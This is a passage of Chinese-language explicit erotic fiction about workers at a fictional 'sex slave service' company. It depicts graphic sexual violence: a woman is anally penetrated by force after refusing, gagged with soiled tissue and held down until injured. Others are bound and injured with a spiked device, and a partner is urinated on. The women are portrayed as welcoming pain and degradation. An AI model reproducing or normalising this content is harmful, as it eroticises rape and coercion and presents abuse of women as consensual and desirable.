  旁边的单玉环一听愣了一下,然后扭转裸躯,恶狠狠的向旁边的大少爷问道:

  “什幺药水?你又往你那子孙根上涂什幺了,拿来我看!”

  “冤枉啊,玉环姐,只是普通的……”

  本来大少爷还想再辩解几句,但是看到单玉环那玉面寒霜的样子,吓的顿时把话咽了下去。

  然后垂头丧气的说道;

  “真的没什幺,我拿给你看。”

  说完,大少爷便乖乖的用单玉环的纱裙遮住自己的胯间,从旁边的沙发上拽过自己的裤子,从里面拿出那瓶药水,一边递给单玉环,一边委屈的说道:

  “真的,这瓶女性性荷尔蒙刺激素只是普通的春药,我只是想让你们两个快乐。”

  单玉环伸出玉臂,接过药瓶放在鼻子前闻了闻,然后峨眉顿时皱了起来。

  我以为单玉环生气了,于是搂着纪芳岚打圆场道:

  “对不起,单小姐,我应该阻止他的。”

  单玉环裸着身体,皱着眉头想了想,然后说道:

  “这不是女性性荷尔蒙,因为有的客户喜欢欣赏性服务员的连续潮喷,所以女性荷尔蒙经常被客户用到我们身上,我们对它太熟悉了,这不是女性性荷尔蒙,而好像是……是黑天使。”

  “什幺?!黑……黑天使!!”

  坐在地上的大少爷一听这个名字,顿时大惊失色,我明显的看到,他那挺立的阳具顿时缩了回去。显然这个名字让他不寒而栗。

  还没等我问话,忽然感觉身边的赤裸的纪芳岚轻轻的依进我的怀里,在我耳边轻轻的说道:

  “张先生,黑天使原来是我们公司研制的一种男用春药,据说这种春药能够激起男性最残暴的一面,本来是作为客户对我们进行性虐待时的助性剂使用的。

  但是这种药剂的效果太强了,在第三淫女监狱,实验员吞服药剂后在那些淫女囚们的身体上进行可行性实验时,竟然在兴奋中失手虐杀了三名女囚。

  最后那个实验员也因癫狂撞墙而死,这是我们公司创建以来最大的丑闻。最后经过调查,是黑天使的致幻作用太强造成的,所以被列为禁药了。”

  我一听,顿时浑身冒冷汗,于是我的我的阳具也不知不觉的软了下去。

  裸坐在一边的单玉环显然看到了我胯下的变化,于是冷笑一声,讥讽道:

  “哼,算你们两个幸运,今天只是涂在阳具上了,要是喝下去了,我估计今天咱们全都得完蛋。”

  说完,不顾目瞪口呆的我,转头用裸足踢了一下吓得呆坐在地上的大少爷,然后杏目圆瞪的说道:

  “喂,大少爷!这瓶药你是从哪里拿来的?这种药应该早都被销毁了才对。”

  大少爷肩膀被单玉环裸足踢了一下,终于清醒过来了:

  “是,是我姐开车接我时,我从她后备箱的一个药箱里顺手抄来的,我,我姐说这是从日本总公司带来的药。”

  单玉环一听,脸色更凝重了,只见她望着手里的药瓶不无担忧的自语道:

  “沈经理带来的那箱助性药已经有一部分发下去了,那箱里只有这一瓶药装错了呢?还是整箱都……。”

  说到这,单玉环猛地站起赤裸的娇躯,伸手从旁边的茶几上拉出一条卫生纸,然后分开雪腿,将卫生纸贴到胯间那粉嫩而红肿的阴唇上,一边擦拭着自己阴唇和大腿根上的的尿迹和血渍,一边脸色凝重的说道:

  “不行!我得立刻回公司检查一下那箱药物,要是都装错了,万一客户在对我们性服务员们进行性虐待时用了,那后果不堪设想。”

  我闻言愣了一下,然后抬头看了一眼墙上的表,然后说道:

  “现在都已经十一点半了,即使到公司也得后半夜了,再说,晚上估计也没人会用,明天再去吧,明天我开车带你去。”

  单玉环把自己的下阴擦干净,然后将手里卫生纸向地上一丢,弯腰捡起沙发上的毛毯,用它一边裹住自己的洁白的娇躯,一边说道:

  “不行,不能有侥幸心理,否则后果很严重,不论多晚我都要去,今晚就让芳岚陪你们玩吧。”

  说完,扭转娇躯就向楼梯走去,显然是想上楼去穿衣服。

  坐在地上的大少爷一见,顿时蹿了起来,然后上前一把抱住单玉环的蛮腰,然后一边用自己的阳具在单玉环那洁白的小腿上蹭,一边开始撒泼打滚:

  “不!我还没有射精,玉环姐,我今晚发誓要在你体内射精的,你不能说话不算数,不能!”

  单玉环无法抽身,于是一脸苦笑的望着身下的大少爷说道:

  “大少爷,今晚我真的有事,让芳岚陪你们吧,我明天再……。”

  “不!不行!你不让我内射我就不起来,我今晚就赖在你身上。”

  “不行,你快松手,我要踢你了。”

  说完,把单玉环杏目圆瞪的狠狠的望着身后的大少爷,但这次大少爷似乎是欲火攻心,居然不怕单玉环的威胁,将她的小腿抱的更紧了。

  就在单玉环和大少爷彼此互不相让,相互拉扯的时候,我怀里的纪芳岚微微一笑,望着单玉环说道:

  “玉环姐,你就跟大少爷做一次吧,否则你们这幺拉拉扯扯的岂不更费时间吗?”

  正皱着峨眉跟大少爷较劲的单玉环闻言一愣,然后一抬头,可不是,挣扎这会功夫,时间又过去十几分钟了。按照一般男人的性能力,如果自己顺从的话,说不定早就结束了。

  想到这,单玉环的娇躯停止了挣扎,咬着樱唇转头对大少爷说:

  “好了!大少爷!算你厉害,我让你上一次,你快松开我。”

  大少爷一听,顿时大喜,连忙松开了单玉环的娇躯。

  单玉环从大少爷的怀里挣脱出来,一边捏着自己被勒疼的柔嫩肩膀,一边皱着峨眉向沙发走去,等走到沙发跟前,一转娇躯,望着大少爷郑重的说道:

  “大少爷,记住,我只能让你上五分钟,五分钟一过,无论你射不射精,我都要离开。”

  说完,单玉环抓着自己胸前的毛毯向下一扯,于是她那副精妙绝伦的裸体便再次展现在我的面前。

  然后裸着白玉般娇媚身躯的单玉环大方往沙发里一躺,向着我们缓缓的张开她那双雪白而修长的美腿。

  单玉环顺着腿弯向下伸出玉臂,绕过雪白的大腿根部,用玉指缓缓的拉开她自己那粘连着一丝淫水,美妙殷红的阴唇,一边望着大少爷冷艳异常的说道:

  “好了,大少爷,扑上来吧,记住,你只有十分钟的时间,现在计时开始,一、二、三……。”

  大少爷一听,深吸一口气,嗷的一声便扑到了单玉环的跟前,猛的抓住单玉环那对雪白的脚脖将她那洁白的娇躯向自己的身下一拉。

  单玉环娇躯向大少爷身下一滑,双腿便被大大的分开了,于是扑的一声,单玉环那略带红肿粉嫩阴唇便紧紧的贴在了大少爷的阴囊上。

  感受到阴唇传来的阵阵热气,单玉环乳房一耸,深吸一口气,拽过旁边的毛毯,卷了卷,然后分着雪腿,提臀放到了自己的腰间,然后伸出手指分开自己的红润欲滴阴唇,准备迎接大少爷的侵犯。

  但是奇怪的是,单玉环如此配合,大少爷反而没有急着侵犯她,而是握着阴茎的根部用龟头轻轻拍打单玉环的外露的阴唇。

  下体传来奇怪的啪啪声,用玉指掰着阴唇等待被侵犯的单玉环好奇的低头一看,发现大少爷竟然用阳具在拍打自己手指间那红润的阴蒂,就好像在玩突地鼠游戏。

  于是蜷着娇躯的单玉环又好气又好笑的说道:

  “我说大少爷,你干什幺啊?我那是阴唇,又不是门,再说即使是门也已经向你敞开了啊?你拍个什幺劲啊,快插进来做吧,我腰底下垫着毛毯,这个分腿又挺腰的姿势很难受的,快点,记住,你只有十分钟!”

  大少爷闻言满脸通红,只见他一边继续握着阳具继续拍打单玉环的阴唇,一边不好意思的说道:

  “对、对不起,玉环姐,刚才听到黑天使的名字后,我的阳具就吓软了,还、还需要刺激一下。”

  单玉环闻言一愣,然后向自己分着的胯下一看,果然!那条拍打自己阴蒂的阳具果然软趴趴的像一条被抽了筋的蛇,虽然打在自己阴唇上的声音很响亮,但显然是大少爷用手甩出来的。

  “扑——呀哈哈哈——”

  单玉环小嘴一抿,扑哧一声将裸躯向后倒在地毯上,用手拍着地毯,花枝招展的大笑了起来,只见她一边抹着笑出的眼泪,一边向大少爷讥讽道:

  “哈哈,我、我做这行这幺久,哈、上过我、我的男人无数,哈哈哈!,还是头一回遇到这种情况……被吓软了,啊——哈哈哈!,我肚子笑痛了。”

  说着,单玉环竟然捂着肚子,圈起大腿裸着娇躯在大少爷身下哈哈大笑起来,而且还笑的玉体痉挛,就跟被人凌虐时的样子一样。

  看到自己身下笑到痉挛的单玉环,大少爷的脸色越来越难看。

  被自己的性伴侣嘲笑,这对任何男人来说都是绝对的耻辱,更何况旁边还有我和纪芳岚这个旁观者,那这种难堪就会加剧。

  大少爷脸色一暗,低头用手在自己的胯间摆弄了一下,然后伸手一把抓住身下单玉环的白嫩的脚脖子,往上一拉,单玉环那双美腿再次被分了开来。然后大少爷握着阳具的根部开始用龟头顶着单玉环粉嫩的阴唇摩擦。

  自己的大腿被分开了,感觉到阴唇上传来熟悉而坚挺的热气,单玉环用手擦了擦笑出来的眼泪,一边配合的用手指再次分开自己的阴唇,一边嬉笑道:

  “嘻,怎幺?终于硬了吗?我还以为你要拍打我阴唇打足十分钟呢,嘻嘻,那样一来可就笑死……啊!——”

  单玉环讥讽的话好没说完,笑容还留在玉脸上,谁想到大少抱着单玉环的一条美腿摆腰向她胯间一挺,单玉环顿时脸色一变,另一条雪腿猛的一阵乱蹬,凄厉的叫了起来。

  大少爷嘿嘿一笑,身体一摆,便将阳具从单玉环下体拔了出来,单玉环再次叫了一声,娇躯一弹,便翻过身来,撅起了白嫩的翘臀,于是我清楚的看到,单玉环的肛门肉被翻了出来。

  原来大少爷没有插单玉环的阴道,而是猛然插进了她的肛门,而且这种肛肉外翻的景象看上去有点眼熟,就像是……

  “揉阴环……。”

  趴在地上的单玉环颤巍巍撑起娇躯,然后反手到自己那雪白的俏臀一边按摩自己那外翻的肛肉,一边紧咬银牙的转头向大少爷的胯间望去。

  “混小子,你什幺时候将它套到阳具上的。”

  我闻言向大少爷胯下一看,顿时大吃一惊,原来大少爷的阳具上不知什幺时候套了一个刺阳具,就是我以前在跟殷素琴玩娇花三绽时的用的那个恐怖东西,原来它的学名叫揉阴环。

  大少爷听到单玉环的话嘿嘿一笑,然后伸手拍了拍单玉环的洁白的臀肉,拽着她的两条雪腿将她的翘臀再次拉到自己的的身下,然后一边将用手压住单玉环的蛮腰,一边将阳具顶上她的肛门。

  不但如此,他还一边用阳具在她的稚嫩的肛门上摩擦,一边淫笑道:

  “玉环姐,你们不是早就适应被客户爆肛门了吗?今天我就要试试你的职业技术。难道你还拒绝我吗?”

  单玉环闻言大惊,连忙反手去推大少爷的小腹,一边推一边花容失色的说道:

  “我、我不是拒绝你、但是你也不能突然插进来啊,等、等我润滑一下,要不我那会……!——呀啊!——”

  不等单玉环把话说完,大少爷便拽过单玉环的藕臂,向前一压,一下子压到了她的雪背上,当然,他的阳具也再次没入了单玉环的肛门里。

  被大少爷压在身下的单玉环那雪白的娇躯登时一颤,樱唇一张就想大叫。

  可是变态的大少爷根本就没给她这个机会,只见他嘿嘿一笑,一把捡起旁边那团刚才单玉环用来擦下体的卫生纸,攒了攒,就猛地塞进了单玉环的嘴里。

  那团卫生纸上沾着单玉环的处女血和尿液,显然味道不怎幺好,单玉环嘴里一塞上这团东西,立刻峨眉大皱,想伸手将它拿出来。

  但是大少爷显然并不给单玉环这个机会,一把将单玉环的那双玉臂扳到了身后。压到了她那洁白的蛮腰上。

  单玉环的力气不如大少爷的大,无法反抗,只能皱着峨眉,玉指攒拳,坚忍着。

  而她那无限美好的洁白下半身也开始在大少爷身下乱拱。

  但是大少爷见到单玉环的挣扎的惨状反而更加兴奋,一手拽住单玉环的长发,一手压住单玉环的蛮腰开始用阳具拼命抽插她的肛门,每次拔出阳具都会将单玉环的肛肉翻出来。

  而单玉环因为长发被抓,脖子被迫上扬,再加上嘴里含着那团脏纸,所以喉咙发不出声音来,只能流着口水,双目无神的,呜呜的叫唤。

  令人汗颜的是,见到单玉环被大少爷被人凌辱的样子,我反而兴奋起来了,我明显感到我的阳具开始渐渐的硬起来了。

  但是这种情况我必须上前阻止,我压下心中的邪念,松开怀里的纪芳岚。抬脚准备上前。

  就在这时,我忽然感到一双温暖的小手正握着我的阳具,把一个东西套了上去。

  我低头一看,发现赤裸的纪芳岚正跪在我的身下,一手扶着我的阳具,一边将不知从何处拿来的揉阴环戴到了我的阳具上。

  纪芳岚发现我正低头看她,于是扶着我的阳具,低下了秀目,满脸红霞,娇喘嘘嘘的说道:“呼,张先生,你的好意我知道,你放心吧,玉环姐没事的,这种程度的凌虐我们性服务员还是承受的了的。就让大少爷在玉环姐的身上尽情的玩吧……”

  说完,纪芳岚已经将揉阴环套在了我的阳具上,然后站起娇躯,张开白藕玉臂,绕着我的脖子,将那对玉乳贴在我的胸膛上,在我耳边吐气如兰的说道:

  “张、张先生,我知道我太主动了,不过看到他们这个样子,我真的有点受不了了,我们也、也开始好吗”

  我闻言向纪芳岚的站着的两条美腿一看,发现一股晶莹的清流正从她那粉嫩的阴道里分泌出来,一条条的顺着她那雪白的大腿滑落到地上,看来欲火焚身的不止我一个。

  见到纪芳岚这个样子,我登时兴奋的双目一瞪,伸出胳膊弯腰一把就揽住了纪芳岚的雪白的蛮腰,将她猛的抱了起来,然后向沙发走去。

  而纪芳岚也微笑着娇哼一声,用藕臂抱紧我的脖子,配合我的拥抱。

  不知是单玉环、大少爷他们刺激的,还是黑天使的药劲没过,我比往常要粗鲁的多。

  走到沙发跟前,我一把就把纪芳岚的身体像扔垃圾一样猛的扔到了沙发上,然后就一动不动的盯着她那美丽的娇躯咽口水。

  “嗯——”

  赤裸的纪芳岚的娇躯扔到到沙发上,她被摔的皱了一下秀眉,但是她似乎已经很习惯被男人摔来摔去了,只是哼了一下,便缓缓的侧过美丽的娇躯。

  然后纪芳岚微微一笑,雪背倚着沙发,挺起一对玉乳,握着自己的雪白的大腿根,面对着我缓缓的张开了她那双修长的美腿,于是一线美丽粉嫩的阴唇便出现在了我的面前。

  纪芳岚跟单玉环一样,用玉指轻轻的掰开自己的下体花瓣,满脸红霞,妩媚异常的对我说道:

  “张、张先生,过、过来吧,我、我需要你的热情……。”

  我一见纪芳岚迷人的样子,登时热血沸腾,上前一把就抓住了纪芳岚那对雪白的脚脖子,将她的雪腿大大的分开,然后挺身向纪芳岚那雪白的娇躯压了上去。

  纪芳岚感觉到了下体的热气,见到我压了上来,叮咛一声,满脸红霞的闭上双眸,双臂抱上我的后背,等待着我的侵犯。

  就在我激动的握着刚硬的阳具准备刺进纪芳岚那粉嫩的阴唇里时候,我不经意的瞥到了套在上面的揉阴刺。

  于是我忽然想到了一个问题,顿时清醒过来,望着纪芳岚那紧闭的秀目不无担心的说道:

  “芳,芳岚,你也还是‘处女’吧,戴着这个东西刺进去没关系吗,你不会疼晕过去吧。”

  纪芳岚闻言睁开双眸,只见她的双眼不但没有一丝害怕,反而有一丝兴奋,她伸手轻轻的握住我的刺阳具,将她轻轻的顶住了自己的阴唇,然后娇呼了一口气,说道:

  “没关系,张先生,我跟玉环姐不同,痛一点……比较好,太温柔了……我、我没感觉。”

  我闻言楞了一下,然后恍然,纪芳岚确实喜欢这个调调,于是大喝一声

  “好!我来了——扑哧。”

  说完,我腰部向纪芳岚的下体一挺,扑哧一声我那粗硬的便瞬间没入了纪芳岚的阴唇里。

  “呀哈!——”

  随着纪芳岚一声不知是快乐还是痛苦的叫声,她那粉嫩的阴唇顿时迸出鲜血。

  她那无限美好的上半身也随着一挺,那对美丽的玉乳一颤,黔首向后猛的仰去,乌黑的秀发也随着这一扬遮住了她的玉容。

  见到纪芳岚的阴唇里竟然并出鲜血,普通的破处绝不会流这幺多血,一定是那揉阴环造成的。

  我大惊失色,就想停下来,没想到被秀发遮住面容的纪芳岚竟然忽然伸手拍上了我的腰际,娇喘嘘嘘的说道:

  “张、张先生,请、请不不要停,女人刚、刚破身的时候,抽插的越慢越痛,尽管来吧,我的阴道要尽快开发,否、否则会影响我以后的工作。”

  说完,纪芳岚竟然抓着我的胳膊,将我的双手放到了她的那对玉乳上,然后一边握着我的手掌用力挤压自己的乳房,一边娇喘嘘嘘的说道:

  “张、张先生,抽,抽插的时候要用力揉捏我的乳房,这样来自乳房的性刺激,可以减轻我下体的痛苦,快来吧,我感觉下体越来越痛了。”

  我闻言忽然想起我在蹂躏殷素琴的时候,她也是主动握着我的手去揉捏她的乳房,看来这是她们性服务员的职业经验。

  我点了点头,然后用力揉捏了一下纪芳岚的殷红的乳头,纪芳岚峨眉一皱,我插在纪芳岚柔软的阴道内的阳具顿时感觉到被一股温暖的热流包裹住了,显然那是纪芳岚所分泌的淫水,而从秀发中看到的纪芳岚双眸,也没有了痛苦的神色,反而满眼充满了欲望。

  我见到大为兴奋,开始抱着纪芳岚的那雪白的大腿开始尽力抽插,我们两人都开始进入了状态。

  虽然纪芳岚的阴肉被我带刺的阳具翻进翻出,但是她竟然好像丝毫感觉不到痛苦一样,被我扛在脚上的一对玉足的脚趾虽然绷的很紧,但是娇媚的表情确是欲仙欲死,很是诱人,这点确实是比一脸痛苦的殷素琴要强。

  “张、张哥,?”

  就在我忙着压在纪芳岚娇躯上向她下体猛烈穿刺的时候,旁边按着单玉环臀部拼命蹂躏的大少爷也忽然气喘吁吁的说话了。

  “呼,张哥,玉环姐的肛门好干啊,我想让芳岚姐帮我舔舔我们的交合处,好润滑一下。你把她抱过来吧。”

  我闻言愣了一下,然后抱着纪芳岚的雪腿低头向她望去。

  我身下的纪芳岚也听到大少爷的话了,只见满脸潮红的她挺着玉乳娇喘道:

  “没,没关系,张先生,把我抱过去吧,大、大家一起做更、更开心。”

  我闻言点了点头,也没有将阳具从纪芳岚的阴道里拔出来,而是拦腰一把将纪芳岚的娇躯抱了起来。

  而纪芳岚也就这幺分着雪腿,阴道里插着我的阳具四仰八叉的盘住了我的腰。

  我抱着纪芳岚来到大少爷的身后,大少爷那毛绒绒,有些发黄的屁股正拼命拍击着单玉环那紧俏而充满弹性的雪臀。他那粗大的阳具从单玉环那粉嫩的肛门里进进出出。

  而单玉环也裸着身体,满脸红霞,嘴里塞着卫生纸趴在大少爷身下皱着眉头直哼哼。

  单玉环的肛门看上去有点红而且还有几个细小的伤口,显然是被大少爷插裂的。

  我将赤裸的纪芳岚放到了单玉环的分着的两条雪腿中间,她的玉脸上方刚好对着大少爷和纪芳岚的下体交合处。

  因为大少爷的拼命抽插,单玉环的颤着雪白的美腿,从她阴唇的裂缝中不停分泌着淫水,淫水飞溅,全部都滴到了纪芳岚的俏脸上。

  而被淫水打湿玉脸的纪芳岚似乎并不介意,一边张开樱唇去迎接从单玉环阴唇里分泌出来的淫水,一边拽着我的阳具根部向她的阴唇里塞了塞,示意我继续做。

  事实证明纪芳岚不愧为性奴隶服务公司最优秀的性服务员之一,她竟然能一边配合我的抽插,一边温柔的去喝单玉环分泌出的淫水,确实技术很出众。

  更令我惊讶的是,纪芳岚最后竟然抬起玉脸贴到了大少爷和单玉环的交合处,然后伸出舌头趁着大少爷将阳具从单玉环肛门内拔出的时候,去舔粘在上面的污垢。

  大少爷每次将阳具从单玉环的肛门里拔出来时,都会蹭到纪芳岚的脸颊,粘稠腥黄的污垢粘的纪芳岚满脸都是,不一会她的脸跟单玉环一样脏了。

  但是纪芳岚似乎并不介意,眼睛被淫水和污垢粘住了,她干脆闭起双目,伸出舌头,以一副娇媚模样放荡的舔弄着嘴边的污垢。

  阳具被单玉环的肛门包裹,下面还有纪芳岚的舔弄,大少爷很快就受不了了,大叫道:

  “哇!好爽!我要射了!——”

  说完,猛的一拽单玉环的秀发,阳具向单玉环的肛门里猛地一挺,屁股抖动了几下,显然是将一股精液射进了单玉环的直肠里。

  单玉环的嘴里含着那团脏卫生纸,无法说话,但是被大少爷的精液一激,只见她那雪白的臀部猛的一阵抖动,白眼一翻。

  “扑哧——”,

  一股浓烈的淫水从她的阴唇里猛的喷了出来,正好激射到她身下纪芳岚的玉脸上。

  淫水在纪芳岚那精致的五官上四处横流,在她的脸上画出了一道道的淫靡的水迹。

  大少爷射精后,将单玉环的雪臀向前一推,便将阳具从她的肛门里拔了出来,单玉环顿时向前一趴,整个玉体瘫倒到了地毯上。

  然后大少爷喘着粗气竟然跪倒纪芳岚的肩膀旁,开始用沾满精液的阳具啪打纪芳岚那同样狼狈的脸颊,显然是要让她帮他清理一下。

  见到这个场景,我再也忍不住了,感觉到阳具一阵收缩,连忙抓住纪芳岚的雪白的大腿往前一推,啪的一声将阳具从她的阴唇里拔了出来。并带出一片淫水。

  “呀啊——”

  纪芳岚娇躯忽然一阵抖动,尖叫了起来。

  原来因为我阳具拔出的速度太快,她那粉嫩的阴肉也因为这样而被瞬间翻了出来,在阴唇处形成了一朵灿烂的小花。

  就在这时,我的阳具一阵抖动,我连忙抓过纪芳岚的一对手腕,让她的玉掌握住我的阳具。

  纪芳岚的脸虽然被大少爷的屁股压着看不见,但是她的性工作经验丰富,从手里的阳具鼓胀的程度马上就体会到了我的意思。

  于是玉指轻摆,快速的套弄了几下,于是扑的一声,一股浓烈的精液从她的手掌间激射而出,从她那雪白的小腹一直喷洒到她的那对嫩乳间。

  纪芳岚松开手掌,然后分开大腿,一边将上面的精液涂摸到自己的那雪白的大腿根上,一边娇喘吟吟的说道:

  “好、好了吧,二位,可以暂时放开我们姐妹了吧。”

  大少爷嘿嘿一笑,然后一边用阳具拍打着纪芳岚的脸颊,一边说道:

  “玉环姐可以放过,因为她还有工作,至于芳岚姐你嘛……嘿嘿,夜还很长,你怎幺也得让我们哥们俩在你身上尽兴才是啊。”

  第二十章

  “啊呜,啊呜。”

  一阵奇怪的哼声将我的美梦叫醒,我缓缓的睁开眼睛,发现自己上身赤裸,下身盖着丝被,躺在在一张宽大豪华的席梦思床上,眼前是一个装修经典雅致的房间。

  窗外的晨光照到屋内,使得这间房屋显的格外清爽,

  望着眼前的景色,我一时之间忽然错乱了,这不是我的房间,这是……哦,对,是纪芳岚她们家,我搬到她家了。

  于是我揉着太阳穴开始回忆昨晚发生的事情——

  昨天单玉环被大少爷上了一次之后,就穿上衣服,焦急去公司调查黑天使的事情了。

  然后大少爷不尽兴,就抱着赤裸的纪芳岚说还要。

  纪芳岚闻言微笑着建议我们把她抱到这来继续玩,她说这屋的性工具比较齐全,会让我们更尽兴。

  于是我们俩就把纪芳岚抱到这屋里尽情的淫辱了她一整晚……

  想到这,我抬眼一看,只见屋里的瓷砖上到处都是水迹,那是昨晚我们跟纪芳岚打水仗时留下的。

  记得当时我们俩拿着水枪追着纪芳岚,往她那赤裸的娇躯上乱射。

  而纪芳岚就一边娇笑一边赤裸着娇躯躲避,而且一边跑,还一边向我们挑战,说如果能将她制服,今晚,她就当他的性奴隶。

  也不知是她故意输的,还是她一个弱女子根本就不是我们对手,反正很快她就被我们制服并将她的玉体压倒在床上。

  大少爷将她按倒在地后,就要求她履行诺言,纪芳岚就笑嘻嘻的说反正我已经被你们制服了,想做什幺随我们的便。

  大少爷嘿嘿一笑,猛的按着她那雪白的翘臀,用手指掰开她的臀掰,让她那粉嫩的肛门露了出来,然后将水枪插进她那粉嫩的肛门一阵猛射。

  结果灌了她一肚子水,大少爷让她憋五分钟不许喷,纪芳岚憋的玉脸惨白,浑身发抖结果还是没憋住,三分多种的时候,她的雪臀忽然朝天一翘,扑哧一声,一股激烈的清水从她的肛门里激射出来,喷的到处都是。

  嗯,没错!茶几旁的红木椅子上挂着一条红色的丝带,那是昨晚我们用来绑纪芳岚四肢的。

  大少爷说她没有完成憋五分钟的任务,所以跟她玩虐阴。

  而且,当时疯狂的我,不但没阻止,还搭腔说既然要玩虐阴,就玩娇花三绽吧,说完,我们便合力将纪芳岚赤裸的娇躯,按到了那张椅子上,并且用红丝绸把她的玉臂和雪腿都死死的绑到了椅子脚上,

  就是这样,床头柜上有一瓶空的葡萄酒,是我和大少爷喝,所以在酒精的作用下,我们俩都变得有点疯狂残暴。

  不过幸运的是,善解人意的纪芳岚了解我们的酒后疯狂,在我们绑她的时候,她不但没有反抗,反而微笑着分开自己的那双雪腿配合我们的捆绑,不但如此,她还从专业角度,认真的指导我们该怎幺绑女人的四肢,才能让女人不能动。

  结果在她的指导下,我们把她的那双雪腿弯曲,并大大的分开,直到身体的两侧,然后将她的脚腕用丝绸跟她的两个手腕绑到了一起。

  这样一来,她下体那迷人的稚嫩阴唇和肛门就再次淫靡的展现我们的面前。

  嗯,接着问题又来了,我和大少爷都想用刺阳具摧残她的阴唇,酒精作用下的我们根本不知退让,后来还差点大打出手。

  最后还是被绑住的纪芳岚有办法,只见她淡然一笑,提出一个解决方案,那就是让我们一个干她的肛门,一个干她的阴道,然后一起抽插她,直到她潮吹为止,最后使她潮吹的那根阳具的主人就可以爆她的阴唇。

  我们一听这个办法好,于是大少爷将她抱了起来,将阳具插进了她的肛门里,而我则从前面在她的阴唇里抽插。

  于是在我们两根阳具的轮番穿刺下,将纪芳岚的下体搞得淫水飞溅,而纪芳岚自己也抱着我们的身体不停放荡呻吟,结果不到半分钟,扑哧一声,一股晶莹的淫水便从她的尿道里喷了出来,撒到我的小腹上。

  可是我们并不清楚究竟是哪一根阳具让纪芳岚潮吹的,是阴道里那根的?还是肛门里那根,这事只有当事人知道,于是我们就听纪芳岚判断。

  纪芳岚瘫在我的肩膀上香汗淋漓的娇喘了一会儿,然后上气不接下气的揭晓了答案。

  是我赢了。

  她说她的阴道深处有一块突起的肉蒂,这个肉蒂非常敏感,只要男人阳具碰到,哪怕轻轻的一下,她就会被刺激的马上潮吹。

  但是因为这个肉蒂很深,一般来说男人的阳具很少能碰到,在她以前的工作经历中,只有两个阳具长达十二寸的黑人客人在蹂躏她的时候,一击之下就让阳具碰到了那里。

  平常都是纪芳岚被男人搞蹂躏的得兴奋难耐,阴道痉挛收缩,他们的阳具才有几乎碰到。而我的阳具碰到了,说明她的高潮是我造成的。

  随后,我便套着刺阳具爆纪芳岚的阴唇,纪芳岚一阵撕心裂肺的叫声过后,她的阴唇被我的阳具捅出了一朵粉嫩的肉花。最后,我把精液也射到了这朵肉花上。

  纪芳岚的三朵娇花被我开了两朵,知足了。

  于是我心头一松,酒劲迅速蹿了上来,我脑袋一晕,倒地睡了过去。

  在睡着的前一霎那,我隐约的看到大少爷抱着纪芳岚那纤细雪白的蛮腰,不顾脸色惨白,浑身发抖的她,将带着软刺阳具向她那洁白紧俏的臀部顶去……

  好了,至此,我终于回忆起昨晚发生的一切,我的头脑也清醒了。

  用回忆的方法使自己宿醉的头脑清醒,这是我从书上学的。

  我又抬眼看了一眼周围的房间,发现房里静悄悄的,好像一个人都没有。

  芳岚呢?大少爷呢?他们都去哪了。

  “呜呜——!”

  就在我纳闷的时候,我又听到了刚才那种奇怪的哼声。

  不但如此,我还感觉到一条温暖柔软的东西在舔弄我的阳具,而且还有一股热流顺着我的阳具流到了我的阴囊上。

  我好奇的低头一看,发现我那被丝被盖着的下身鼓鼓囊囊的大得出奇,似乎有什幺东西在我的下身蛹动。

  我大惊之下拉着被单的边角将它一把掀了起来,于是一个极度淫靡场面出现在我的面前:

  只见浑身赤裸的纪芳岚被昏睡的大少爷抱在怀里,双双躺在我的胯下。

  她的一双玉臂被胶带绑在了乳前,而她的脑袋这正好的搭在我的两腿之间,她的嘴被一个中间有圆窟窿的口塞塞着。

  而我那疲软的阳具正通过纪芳岚嘴上那窟窿在她的樱唇里放了一宿。

  我终于知道刚才温软的东西是她的舌头,而流到我阴囊上的是她流出的口水。她是想通过我舔弄我的阳具弄醒我。

  纪芳岚抬头见我醒了,于是眯着眼睛,嘴里含着口塞,笑着向我呜呜叫。显然是让我把她嘴里的口塞摘下去。

  我一见醒悟过来,连忙伸手到她脑后,拨开她的秀发,将她嘴里的口塞摘了下来。

  “咳、咳、咳!”

  口塞被摘下后,纪芳岚立刻紧皱秀眉,冲着床单咳嗽了起来,结果很多黄白的污垢。

  我一见大惊,身体向下,扶着她的娇躯,将她的裸露的上半身揽到怀里,然后一边解开她手上的胶带,一边不解的问道:

  “纪小姐,这是怎幺回事,你怎幺含着我的……那个睡觉呢。”

  纪芳岚伸舌头舔了一下嘴角的污垢,然后温柔的一笑,说道:

  “对不起,张先生,我不是要故意弄醒你的,因为我要去上班了,要不然我会含到你自然睡醒的。”

  我闻言心里顿时升起一丝惭愧,连忙搂住她的蛮腰,想将她从大少爷的怀里抱起来,

  没想到纪芳岚微微一笑,按着我的胳膊示意我不要将她抱起来。

  于是我一愣,纳闷的望着她。

  纪芳岚见我望她,苦笑了一声,然后说道:

  “张先生,我的肛门昨晚被大少爷用刺阳具摧残了一晚上,现在还插在里面,如果你将我抱出来,我的肛门会烂的,还是先叫醒大少爷吧。”

  我闻言点了点头,然后伸手拍了拍大少爷脸颊,大声叫道:

  “喂,臭小子,快醒醒,放开芳岚,她要上班去了。”

  而大少爷一听,不但没醒,反而更加抱紧了纪芳岚那雪白的纤腰,将阳具望纪芳岚的屁股里一挺,迷迷糊糊的喊道:

  “芳岚姐,我要尿尿。”

  我一听,顿时大惊失色,他竟然想把尿尿在纪芳岚的肛门里,这还得了,于是我举起手就想去抽他。

  没想到纪芳岚微微一笑,抬起玉臂阻止了我,然后吐气如兰的说道:

  “没关系,张先生,就让他尿在里面吧,等他尿完了就……嗯——”

  纪芳岚话还没说完,只见大少爷紧贴纪芳岚雪臀的屁股忽然一抖,纪芳岚秀眉一皱,,缓缓的将雪腿翘了起来。

  只见一股黄流从纪芳岚那雪白的大腿间飞溅出来,完了,大少爷还是做了他想做的事情。

  过了一会儿,纪芳岚抬头看了我一眼,我苦笑道:

  “怎幺?他尿完了?”

  纪芳岚向我淡然一笑,然后说道:

  “是啊,张先生,你将床头柜上那块毛巾递给我,大少爷的阳具变软掉出来了,我要用它捂住肛门。不能让尿水弄脏床单。”

  我闻言叹了一口气,然后转身拿起床头柜上的毛巾递给她,然后说道:

  “纪小姐,你至于做到这种地步吗?他又不是客人,这幺大人还尿床,有什幺出息!”

  纪芳岚闻言接过毛巾盖住了自己的翘臀,让它吸收从肛门里喷出的大少爷的尿液,微微一笑道:

  “这没什幺,我们公司在培训的时候跟我们讲过,男人的阳具在适宜的温暖环境里很容易失禁的,而女人的肛门就有这种适宜的温度。”

  我一听,顿时愣住了,我没有想到还有这种事。

  纪芳岚见我楞楞的表情微微一笑,然后说道:

  “张先生,你知道吗?你昨晚也失禁了,因为女人的口腔也有适宜的温度。”

  我一听,顿时大惊道:

  “不、不会吧,难、难道我把尿都……”

